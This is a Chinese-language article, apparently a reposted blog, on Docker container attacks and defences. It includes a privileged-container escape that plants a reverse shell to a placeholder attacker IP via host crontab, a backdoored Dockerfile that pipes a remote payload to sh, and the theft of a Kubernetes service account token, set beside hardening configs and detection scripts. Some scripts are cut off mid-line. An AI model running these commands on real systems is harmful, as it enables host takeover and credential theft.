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Docker容器安全攻防實戰(zhàn)案例

馬哥Linux運維 ? 來源:馬哥Linux運維 ? 2025-08-05 09:52 ? 次閱讀
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Docker容器安全:從攻擊者視角到防護(hù)專家的完整實戰(zhàn)指南

前言:在云原生時代,Docker已成為現(xiàn)代應(yīng)用部署的基石。然而,容器化帶來便利的同時,也引入了新的安全挑戰(zhàn)。作為一名在生產(chǎn)環(huán)境中管理過數(shù)千個容器的運維工程師,我將通過真實的攻防實戰(zhàn)案例,帶你深入了解Docker安全的每一個細(xì)節(jié)。

為什么這篇文章值得你花時間閱讀?

?實戰(zhàn)導(dǎo)向:所有技術(shù)點都來自真實生產(chǎn)環(huán)境

?攻防并重:既講攻擊手法,更重防護(hù)策略

?工具齊全:提供完整的檢測和防護(hù)工具鏈

?案例豐富:5個真實滲透測試場景復(fù)現(xiàn)

開篇實戰(zhàn):一次真實的Docker逃逸事件

去年,我們的安全團(tuán)隊發(fā)現(xiàn)了一起嚴(yán)重的容器逃逸事件。攻擊者通過一個看似無害的Web應(yīng)用容器,最終獲得了宿主機(jī)的root權(quán)限。這起事件讓我深刻認(rèn)識到:容器安全不僅僅是配置問題,更是一場攻防博弈。

攻擊路徑還原

# 攻擊者首先發(fā)現(xiàn)了特權(quán)容器
docker inspect suspicious_container | grep -i privileged
# "Privileged": true

# 利用特權(quán)容器掛載宿主機(jī)文件系統(tǒng)
ls-la /dev/
# 發(fā)現(xiàn)可以訪問宿主機(jī)設(shè)備文件

# 通過cgroup逃逸
echo1 > /proc/sys/kernel/core_pattern
# 成功修改宿主機(jī)內(nèi)核參數(shù)

這個案例告訴我們:一個配置錯誤的容器,可能成為整個基礎(chǔ)設(shè)施的突破口。

Docker安全威脅全景圖

核心威脅矩陣

威脅類型 風(fēng)險等級 攻擊復(fù)雜度 影響范圍
容器逃逸 高危 中等 宿主機(jī)
鏡像投毒 中危 應(yīng)用層
網(wǎng)絡(luò)劫持 中危 容器間通信
權(quán)限提升 高危 中等 系統(tǒng)級
資源耗盡 低危 服務(wù)可用性

攻擊者常用的5大攻擊向量

1.鏡像層面:惡意鏡像、后門植入

2.運行時層面:特權(quán)提升、容器逃逸

3.網(wǎng)絡(luò)層面:中間人攻擊、服務(wù)發(fā)現(xiàn)

4.存儲層面:敏感數(shù)據(jù)泄露、卷掛載

5.編排層面:Kubernetes API濫用

實戰(zhàn)滲透測試:5個經(jīng)典攻擊場景

場景1:特權(quán)容器逃逸

目標(biāo):從特權(quán)容器逃逸到宿主機(jī)

# 檢測是否為特權(quán)容器
capsh --print| grep -i cap_sys_admin

# 嘗試掛載宿主機(jī)根目錄
mkdir/host-root
mount /dev/sda1 /host-root

# 創(chuàng)建反向shell
echo'#!/bin/bash'> /host-root/tmp/escape.sh
echo'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'>> /host-root/tmp/escape.sh
chmod+x /host-root/tmp/escape.sh

# 通過cron執(zhí)行逃逸腳本
echo"* * * * * root /tmp/escape.sh">> /host-root/etc/crontab

防護(hù)策略

# 1. 禁用特權(quán)模式
docker run --security-opt=no-new-privileges:truenginx

# 2. 使用用戶命名空間
docker daemon --userns-remap=default

# 3. 限制capabilities
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx

場景2:Docker Socket劫持

攻擊手法:通過掛載docker.sock控制宿主機(jī)

# 攻擊者發(fā)現(xiàn)掛載的Docker socket
ls-la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jul 28 10:30 /var/run/docker.sock

# 創(chuàng)建特權(quán)容器逃逸
docker run -it --privileged -v /:/host ubuntu:latest

# 在新容器中獲取宿主機(jī)控制權(quán)
chroot/host /bin/bash

檢測腳本

#!/usr/bin/env python3
importdocker
importjson

defcheck_dangerous_mounts():
  client = docker.from_env()
  dangerous_containers = []
 
 forcontainerinclient.containers.list():
    mounts = container.attrs['Mounts']
   formountinmounts:
     ifmount['Source'] =='/var/run/docker.sock':
        dangerous_containers.append({
         'container_id': container.id,
         'name': container.name,
         'image': container.image.tags[0]ifcontainer.image.tagselse'unknown'
        })
 
 returndangerous_containers

if__name__ =="__main__":
  dangerous = check_dangerous_mounts()
 ifdangerous:
   print(" 發(fā)現(xiàn)危險容器掛載:")
   forcontainerindangerous:
     print(f" -{container['name']}({container['image']})")
 else:
   print(" 未發(fā)現(xiàn)危險的socket掛載")

場景3:鏡像供應(yīng)鏈攻擊

攻擊流程

# 看似正常的Dockerfile,實際植入后門
FROMnginx:alpine

# 惡意代碼隱藏在合法操作中
RUNapk add --no-cache curl && 
  curl -s http://malicious-server.com/payload.sh | sh && 
  apk del curl

COPYindex.html /usr/share/nginx/html/
EXPOSE80
CMD["nginx","-g","daemon off;"]

鏡像安全掃描工具鏈

# 1. 使用Trivy掃描漏洞
trivy image nginx:latest

# 2. 使用Clair進(jìn)行深度掃描
docker run -d --name clair-db arminc/clair-db:latest
docker run -p 6060:6060 --linkclair-db:postgres -d --name clair arminc/clair-local-scan:latest

# 3. 自定義惡意行為檢測
#!/bin/bash
check_suspicious_commands() {
  image=$1
  dockerhistory$image--no-trunc | grep -E"(curl.*sh|wget.*sh|base64|eval)"
}

場景4:容器間橫向移動

網(wǎng)絡(luò)探測腳本

#!/bin/bash
# 容器內(nèi)網(wǎng)絡(luò)偵察
discover_containers() {
 # 掃描Docker默認(rèn)網(wǎng)段
 forsubnetin"172.17.0.0/16""172.18.0.0/16""172.19.0.0/16";do
    nmap -sn$subnet| grep"Nmap scan report"
 done
 
 # 檢查容器服務(wù)
  netstat -antlp | grep LISTEN
 
 # DNS枚舉
  nslookup tasks.web
  nslookup tasks.db
}

# 服務(wù)發(fā)現(xiàn)
enumerate_services() {
 # 常見服務(wù)端口掃描
  common_ports=(22 80 443 3306 5432 6379 27017)
 foripin$(discover_containers | awk'{print $5}');do
   forportin${common_ports[@]};do
     timeout2 bash -c"

場景5:Kubernetes API Server攻擊

攻擊路徑

# 1. 獲取服務(wù)賬戶token
token=$(cat/var/run/secrets/kubernetes.io/serviceaccount/token)
ca_cert=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 2. 枚舉集群權(quán)限
curl -H"Authorization: Bearer$token"
  --cacert$ca_cert
  https://kubernetes.default.svc.cluster.local:443/api/v1/namespaces

# 3. 創(chuàng)建惡意Pod
cat<

企業(yè)級防護(hù)體系構(gòu)建

多層防護(hù)架構(gòu)



安全基線配置

Docker daemon安全配置

{
"icc":false,
"userns-remap":"default",
"no-new-privileges":true,
"seccomp-profile":"/etc/docker/seccomp-profile.json",
"selinux-enabled":true,
"log-driver":"journald",
"log-opts":{
 "max-size":"10m",
 "max-file":"3"
},
"live-restore":true,
"userland-proxy":false,
"experimental":false
}

容器運行時安全模板

# docker-compose.security.yml
version:'3.8'
services:
webapp:
 image:nginx:alpine
 security_opt:
  -no-new-privileges:true
  -apparmor:docker-nginx
 cap_drop:
  -ALL
 cap_add:
  -NET_BIND_SERVICE
 read_only:true
 tmpfs:
  -/tmp
  -/var/cache/nginx
 ulimits:
  nproc:65535
  nofile:
   soft:1024
   hard:2048
 mem_limit:512m
 cpus:0.5
 restart:unless-stopped
 logging:
  driver:"json-file"
  options:
   max-size:"10m"
   max-file:"3"

實時監(jiān)控與告警系統(tǒng)

自研容器安全監(jiān)控腳本

#!/usr/bin/env python3
importdocker
importpsutil
importjson
importtime
fromdatetimeimportdatetime

classContainerSecurityMonitor:
 def__init__(self):
   self.client = docker.from_env()
   self.alerts = []
 
 defcheck_privileged_containers(self):
   """檢測特權(quán)容器"""
    privileged_containers = []
   forcontainerinself.client.containers.list():
     ifcontainer.attrs['HostConfig']['Privileged']:
        privileged_containers.append({
         'container_id': container.id[:12],
         'name': container.name,
         'image': container.image.tags[0]ifcontainer.image.tagselse'unknown',
         'risk_level':'HIGH'
        })
   returnprivileged_containers
 
 defcheck_dangerous_capabilities(self):
   """檢測危險權(quán)限"""
    dangerous_caps = ['SYS_ADMIN','SYS_MODULE','SYS_RAWIO','SYS_PTRACE']
    risky_containers = []
   
   forcontainerinself.client.containers.list():
      cap_add = container.attrs['HostConfig'].get('CapAdd', [])or[]
     forcapincap_add:
       ifcap.upper()indangerous_caps:
          risky_containers.append({
           'container_id': container.id[:12],
           'name': container.name,
           'dangerous_cap': cap,
           'risk_level':'MEDIUM'
          })
   returnrisky_containers
 
 defcheck_resource_usage(self):
   """檢測資源使用異常"""
    high_usage_containers = []
   forcontainerinself.client.containers.list():
     try:
        stats = container.stats(stream=False)
        cpu_percent =self.calculate_cpu_percent(stats)
        memory_usage = stats['memory_stats']['usage'] / stats['memory_stats']['limit'] *100
       
       ifcpu_percent >80ormemory_usage >90:
          high_usage_containers.append({
           'container_id': container.id[:12],
           'name': container.name,
           'cpu_percent':round(cpu_percent,2),
           'memory_percent':round(memory_usage,2),
           'risk_level':'LOW'
          })
     exceptExceptionase:
       continue
   returnhigh_usage_containers
 
 defcalculate_cpu_percent(self, stats):
   """計算CPU使用率"""
    cpu_delta = stats['cpu_stats']['cpu_usage']['total_usage'] - 
         stats['precpu_stats']['cpu_usage']['total_usage']
    system_delta = stats['cpu_stats']['system_cpu_usage'] - 
           stats['precpu_stats']['system_cpu_usage']
   
   ifsystem_delta >0:
     return(cpu_delta / system_delta) *len(stats['cpu_stats']['cpu_usage']['percpu_usage']) *100
   return0
 
 defgenerate_security_report(self):
   """生成安全報告"""
    report = {
     'timestamp': datetime.now().isoformat(),
     'privileged_containers':self.check_privileged_containers(),
     'dangerous_capabilities':self.check_dangerous_capabilities(),
     'resource_anomalies':self.check_resource_usage()
    }
   
   # 發(fā)送告警
    total_risks =len(report['privileged_containers']) + 
          len(report['dangerous_capabilities']) + 
          len(report['resource_anomalies'])
   
   iftotal_risks >0:
     self.send_alert(report)
   
   returnreport
 
 defsend_alert(self, report):
   """發(fā)送告警(集成到你的告警系統(tǒng))"""
   print(f" 安全告警: 發(fā)現(xiàn){len(report['privileged_containers'])}個特權(quán)容器")
   print(f" 發(fā)現(xiàn){len(report['dangerous_capabilities'])}個危險權(quán)限")
   print(f" 發(fā)現(xiàn){len(report['resource_anomalies'])}個資源異常")

if__name__ =="__main__":
  monitor = ContainerSecurityMonitor()
 
 whileTrue:
    report = monitor.generate_security_report()
   print(json.dumps(report, indent=2, ensure_ascii=False))
    time.sleep(60) # 每分鐘檢查一次

實用工具箱

1. 容器安全掃描工具集

# 安裝安全工具套件
install_security_tools() {
 # Trivy - 漏洞掃描
  curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
 
 # Docker Bench Security
  gitclonehttps://github.com/docker/docker-bench-security.git
 
 # Anchore Engine - 鏡像分析
  docker run -d -v /var/run/docker.sock:/var/run/docker.sock -p 8228:8228 anchore/anchore-engine:latest
 
 # Falco - 運行時安全
  curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add -
 echo"deb https://download.falco.org/packages/deb stable main"|tee-a /etc/apt/sources.list.d/falcosecurity.list
  apt-get update && apt-get install -y falco
}

2. 自動化安全檢查腳本

#!/bin/bash
# container_security_check.sh

check_docker_security() {
 echo" 開始Docker安全檢查..."
 
 # 1. 檢查Docker版本
 echo" Docker版本信息:"
  docker version --format'{{.Server.Version}}'
 
 # 2. 檢查運行中的容器安全配置
 echo" 檢查容器安全配置:"
  docker ps --format"table {{.Names}}	{{.Status}}	{{.Ports}}"|whilereadline;do
   if[[$line!="NAMES"* ]];then
      container_name=$(echo$line| awk'{print $1}')
     
     # 檢查特權(quán)模式
      privileged=$(docker inspect$container_name--format'{{.HostConfig.Privileged}}')
     if[[$privileged=="true"]];then
       echo" 警告:$container_name運行在特權(quán)模式"
     fi
     
     # 檢查capabilities
      cap_add=$(docker inspect$container_name--format'{{.HostConfig.CapAdd}}')
     if[[$cap_add!=""]] && [[$cap_add!="[]"]];then
       echo" 信息:$container_name添加了capabilities:$cap_add"
     fi
   fi
 done
 
 # 3. 檢查鏡像漏洞
 echo" 掃描鏡像漏洞:"
  docker images --format"{{.Repository}}:{{.Tag}}"|head-5 |whilereadimage;do
   echo"掃描鏡像:$image"
    trivy image --severity HIGH,CRITICAL$image
 done
 
 # 4. 檢查網(wǎng)絡(luò)配置
 echo" 檢查網(wǎng)絡(luò)配置:"
  docker networkls--format"table {{.Name}}	{{.Driver}}	{{.Scope}}"
 
 echo" 安全檢查完成!"
}

# 執(zhí)行檢查
check_docker_security

3. Kubernetes安全策略模板

# pod-security-policy.yaml
apiVersion:policy/v1beta1
kind:PodSecurityPolicy
metadata:
name:restricted-psp
spec:
privileged:false
allowPrivilegeEscalation:false
requiredDropCapabilities:
 -ALL
allowedCapabilities:[]
volumes:
 -'configMap'
 -'emptyDir'
 -'projected'
 -'secret'
 -'downwardAPI'
 -'persistentVolumeClaim'
runAsUser:
 rule:'MustRunAsNonRoot'
runAsGroup:
 rule:'MustRunAs'
 ranges:
  -min:1
   max:65535
seLinux:
 rule:'RunAsAny'
fsGroup:
 rule:'RunAsAny'
---
# network-policy.yaml
apiVersion:networking.k8s.io/v1
kind:NetworkPolicy
metadata:
name:deny-all-ingress
spec:
podSelector:{}
policyTypes:
-Ingress
---
apiVersion:networking.k8s.io/v1
kind:NetworkPolicy
metadata:
name:allow-specific-ingress
spec:
podSelector:
 matchLabels:
  app:webapp
policyTypes:
-Ingress
ingress:
-from:
 -podSelector:
   matchLabels:
    app:frontend
 ports:
 -protocol:TCP
  port:8080

安全成熟度評估

企業(yè)容器安全成熟度模型

成熟度等級 特征描述 關(guān)鍵指標(biāo) 建議措施
Level 1: 初始級 基礎(chǔ)容器使用,缺乏安全意識 特權(quán)容器 > 30% 安全培訓(xùn),基礎(chǔ)掃描
Level 2: 管理級 有基本安全措施,缺乏系統(tǒng)性 漏洞修復(fù) < 50% 建立安全流程
Level 3: 定義級 有完整安全策略和流程 自動化覆蓋 > 60% 持續(xù)改進(jìn)優(yōu)化
Level 4: 量化級 基于數(shù)據(jù)的安全決策 安全事件 < 0.1% 預(yù)測性安全分析
Level 5: 優(yōu)化級 持續(xù)改進(jìn),業(yè)界領(lǐng)先 零信任架構(gòu)實施 創(chuàng)新安全技術(shù)

安全檢查清單

鏡像安全 ?

? 使用官方或可信鏡像源

? 實施鏡像簽名驗證

? 定期掃描漏洞并修復(fù)

? 使用最小化基礎(chǔ)鏡像

? 避免在鏡像中存儲敏感信息

運行時安全 ?

? 禁用特權(quán)模式

? 實施用戶命名空間

? 限制系統(tǒng)調(diào)用(seccomp)

? 配置AppArmor/SELinux

? 設(shè)置資源限制

網(wǎng)絡(luò)安全 ?

? 實施網(wǎng)絡(luò)分段

? 配置防火墻規(guī)則

? 使用TLS加密通信

? 監(jiān)控網(wǎng)絡(luò)流量

? 實施零信任網(wǎng)絡(luò)

訪問控制 ?

? 實施RBAC

? 配置Pod安全策略

? 使用服務(wù)賬戶

? 定期審計權(quán)限

? 實施多因素認(rèn)證

未來趨勢與展望

容器安全技術(shù)發(fā)展方向

1.零信任安全架構(gòu)

? 身份驗證無處不在

? 微分段網(wǎng)絡(luò)隔離

? 持續(xù)驗證和授權(quán)

2.AI驅(qū)動的威脅檢測

? 行為基線建模

? 異常檢測算法

? 自動化響應(yīng)機(jī)制

3.供應(yīng)鏈安全

? 軟件物料清單(SBOM)

? 端到端可追溯性

? 自動化合規(guī)檢查

4.云原生安全平臺

? 統(tǒng)一安全管理

? 多云環(huán)境支持

? DevSecOps集成

行業(yè)最佳實踐

金融行業(yè)案例:某銀行通過實施容器安全框架,將安全事件降低了85%,同時提升了50%的部署效率。

電商行業(yè)案例:某電商平臺建立了完整的容器安全監(jiān)控體系,實現(xiàn)了99.9%的威脅檢測準(zhǔn)確率。

實踐建議與行動計劃

30天容器安全改進(jìn)計劃

第1-10天:基礎(chǔ)安全

? 完成Docker安全基線配置

? 部署鏡像掃描工具

? 建立安全檢查清單

第11-20天:監(jiān)控告警

? 部署運行時監(jiān)控系統(tǒng)

? 配置安全告警規(guī)則

? 建立事件響應(yīng)流程

第21-30天:持續(xù)改進(jìn)

? 開展安全培訓(xùn)

? 實施安全審計

? 優(yōu)化安全策略

關(guān)鍵成功因素

1.管理層支持:獲得足夠的資源投入

2.團(tuán)隊協(xié)作:開發(fā)、運維、安全團(tuán)隊密切配合

3.持續(xù)學(xué)習(xí):緊跟安全威脅和防護(hù)技術(shù)發(fā)展

4.自動化:減少人為錯誤,提高響應(yīng)速度

總結(jié)與思考

容器安全不是一勞永逸的工作,而是需要持續(xù)投入和改進(jìn)的過程。通過本文的實戰(zhàn)案例和防護(hù)策略,希望能幫助你建立起完整的容器安全防護(hù)體系。

核心要點回顧

? 安全左移,將安全融入開發(fā)流程

? 多層防護(hù),構(gòu)建縱深防御體系

? 持續(xù)監(jiān)控,及時發(fā)現(xiàn)和響應(yīng)威脅

? 自動化工具,提升安全運營效率

思考題

1. 你的組織目前處于哪個安全成熟度等級?

2. 如何在保證安全的前提下提升開發(fā)效率?

3. 面對新興威脅,如何快速調(diào)整防護(hù)策略?

延伸閱讀

?NIST Container Security Guide

?CIS Docker Benchmark

?OWASP Container Top 10

關(guān)于作者:資深運維工程師,專注于云原生安全領(lǐng)域,擁有多年大規(guī)模容器集群管理經(jīng)驗。如果你對容器安全有任何問題或想要深入交流,歡迎在評論區(qū)留言討論!

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原文標(biāo)題:Docker容器安全:從攻擊者視角到防護(hù)專家的完整實戰(zhàn)指南

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

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    Docker實戰(zhàn)流程。1.Docker簡介Docker本質(zhì)是輕量級虛擬化技術(shù),通過容器化機(jī)制打包應(yīng)用及其依賴環(huán)境。與傳統(tǒng)虛擬機(jī)不同,
    的頭像 發(fā)表于 06-27 12:01 ?3063次閱讀
    干貨分享 | RK3588 Ubuntu系統(tǒng)<b class='flag-5'>Docker</b><b class='flag-5'>容器</b>使用指南

    盈鵬飛嵌入式產(chǎn)品CoM-335x登錄<硬件安全攻防大揭秘>書籍拉

    `盈鵬飛嵌入式產(chǎn)品CoM-335x登錄<硬件安全攻防大揭秘>書籍拉有圖有真相!`
    發(fā)表于 03-25 15:30

    如何在Docker中創(chuàng)建容器

    Docker是一個開源的引擎,可以輕松的為任何應(yīng)用創(chuàng)建一個輕量級的、可移植的、自給自足的容器。開發(fā)者在筆記本上編譯測試通過的容器可以批量地在生產(chǎn)環(huán)境中部署,包括VMs(虛擬機(jī))、bare metal
    發(fā)表于 01-03 15:58

    理解Docker容器并暢玩docker

    !命令行!玩docker,簡單幾句命令就夠了。Docker容器響應(yīng)迅速,執(zhí)行迅速,回憶一下VM啟動要多久?最佳的試驗場所,想怎么玩怎么玩,rm -rf /* 根本不是大問題。主機(jī)上刪掉容器
    發(fā)表于 11-05 09:54

    Docker容器管理命令(一)

    1、Docker容器管理命令的使用方法查看當(dāng)前主機(jī)本地docker鏡像:啟動容器必須依賴鏡像,所以要獲取到鏡像的唯一標(biāo)識docker
    發(fā)表于 04-20 17:55

    Docker容器管理命令(二)

    1、Docker容器管理命令的使用方法批量刪除docker 容器docker cp命令docker
    發(fā)表于 04-21 11:31

    黑客任務(wù)實戰(zhàn)服務(wù)器攻防

    黑客任務(wù)實戰(zhàn)服務(wù)器攻防篇網(wǎng)站服務(wù)器的黑客攻防一直是網(wǎng)絡(luò)安全中最重要的一部分。本書作者在經(jīng)過數(shù)月的努力之后,終于將網(wǎng)站服務(wù)器的黑客攻防以深入淺
    發(fā)表于 10-22 11:03 ?0次下載
    黑客任務(wù)<b class='flag-5'>實戰(zhàn)</b>服務(wù)器<b class='flag-5'>攻防</b>篇

    使用Spring Cloud與Docker實戰(zhàn)微服務(wù)

    使用Spring Cloud與Docker實戰(zhàn)微服務(wù)
    發(fā)表于 09-09 08:31 ?7次下載
    使用Spring Cloud與<b class='flag-5'>Docker</b><b class='flag-5'>實戰(zhàn)</b>微服務(wù)

    首屆福建省工業(yè)控制系統(tǒng)信息安全攻防大賽啟動儀式在福建漳州舉行

    2018年6月5日,首屆福建省工業(yè)控制系統(tǒng)信息安全攻防大賽啟動儀式在福建漳州舉行,這是“2018首屆兩岸物聯(lián)網(wǎng)應(yīng)用創(chuàng)新創(chuàng)業(yè)大賽福建分賽區(qū)活動”的重要組成部分,拉開了兩岸加強(qiáng)工控信息安全人才培訓(xùn)行動的序幕。
    的頭像 發(fā)表于 06-07 09:17 ?5777次閱讀

    虎牙與騰訊共建AI智能審核平臺及安全攻防機(jī)制

    實戰(zhàn)積累,圍繞AI安全應(yīng)用、黑產(chǎn)打擊、安全攻防、數(shù)據(jù)標(biāo)注、人工審核等多個領(lǐng)域展開技術(shù)交流與業(yè)務(wù)合作,共同建設(shè)AI智能審核平臺及安全攻防機(jī)制,并以AI
    的頭像 發(fā)表于 10-12 11:45 ?2947次閱讀

    docker微服務(wù)架構(gòu)實戰(zhàn)

    容器化技術(shù),為微服務(wù)架構(gòu)的實施提供了強(qiáng)大的支持。本文將介紹Docker微服務(wù)架構(gòu)的實戰(zhàn)經(jīng)驗,包括Docker的概述、微服務(wù)架構(gòu)的設(shè)計原則以及實際應(yīng)用中的具體實踐。 一、
    的頭像 發(fā)表于 11-23 09:26 ?1123次閱讀

    docker容器容器之間通信

    Docker是一種輕量級容器化技術(shù),能夠?qū)?yīng)用程序及其依賴項封裝在一個獨立、可移植的容器中。而容器化的應(yīng)用程序通常是以分布式方式設(shè)計的,因此實現(xiàn)容器
    的頭像 發(fā)表于 11-23 09:36 ?2276次閱讀

    docker進(jìn)入容器的方法有哪些

    Docker是一種流行的容器化平臺,它能夠快速構(gòu)建、交付和運行應(yīng)用程序。在使用Docker時,我們經(jīng)常需要進(jìn)入容器進(jìn)行調(diào)試、管理和運行命令等操作。本文將詳細(xì)介紹
    的頭像 發(fā)表于 11-23 09:45 ?1.3w次閱讀

    深入剖析Docker全鏈路安全防護(hù)策略

    在云原生時代,Docker容器安全已成為運維工程師必須面對的核心挑戰(zhàn)。本文將從實戰(zhàn)角度深入剖析Docker全鏈路
    的頭像 發(fā)表于 08-18 11:17 ?710次閱讀